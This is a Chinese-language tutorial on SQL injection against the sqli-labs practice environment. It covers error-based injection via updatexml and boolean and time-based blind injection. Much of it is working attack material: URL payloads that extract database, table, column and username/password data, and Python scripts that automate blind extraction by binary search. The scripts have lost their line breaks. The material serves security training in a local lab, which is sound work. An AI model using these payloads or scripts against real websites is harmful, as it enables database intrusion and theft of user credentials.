环境演示均已sql-labs为例
1、报错注入
1.1常用的报错注入的函数
掌握好extractvalue、updatexml、floor报错,floor报错较难需要多理解,updatexml较为常用
定义
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。是一种页面响应形式。
响应过程:
用户在前台页面输入检索内容后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面
报错注入存在基础:后台对于输入输出的合理性没有做检查
演示
输入正常语句情况下页面
当对sql语句闭合后:
可以发现我们语句正确后,他并不会回显我们数据,但是报错时会回显,那么我们可以利用一些报错函数进行注入
以下以最常见的updataxml为例
语法
UPDATEXML(XML_document, XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
第三个参数:new_value,string格式,替换查找到的符合条件的数据
我们只需要修改第二个参数即可
127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
库名成功注入出来,接下来就是表名、列名、数据
表名:
http://127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
列名:
http://127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and%20table_name='users'),0x7e),1)--+
爆数据
由于updatexml()是32个字节,无法完全显示,那么我们就使用substr()进行截取,后期再进行拼接
http://127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'$',password) from users),32,64),0x7e),1)--+
2、盲注
盲注主要分为两种,一种为时间类型盲注,一种为布尔类型盲注
判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入。
2.1布尔盲注
根据页面回显判断是或不是,进行判断
当出现错误是就无回显,那么我们可以根据这个现象进行注入判断
利用二分法和ASCII码进行渗透:
使用substr()提取字符转换成ascii比大小进行判断是否为真,真则有回显‘you are in ...’,假则无
http://127.0.0.1/sqli-labs7/Less-8/?id=1' and%20ascii(substr((select database()),1,1))>114--+
根据此现象我们写一个python脚本快速进行注入
import timeimport requestsurl = 'http://127.0.0.1/sqli-labs7/Less-8/'def inject_database(url):name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)res = {"id": payload}# start_time = time.time()r = requests.get(url, params=res)# end_time = time.time()if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)
库出来了,那么接下来的流程就是爆表名,列名和数据了
只需对脚本的payload进行修改即可
表名:
payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), %d, 1)) > %d-- " % (i, mid)列名:
payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), %d, 1)) > %d-- " % (i, mid)数据:
payload = "1' and ascii(substr((select group_concat(username,'$',password) from users), %d, 1)) > %d-- " % (i, mid)
2.2时间盲注
来到第九关之后我们发现没有真假之分了,那么我们就可以使用时间盲注来解决
注入方法:
我们只需要在布尔盲注的基础上加入一个if判断,为真时加载2秒,为假时则什么都不做,其他地方跟布尔盲注没有太大区别。
脚本如下:
import timeimport requestsurl = 'http://127.0.0.1/sqli-labs7/Less-9/'def inject_database(url):name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)
表名、列名、数据依旧是修改payload即可,和第8关一样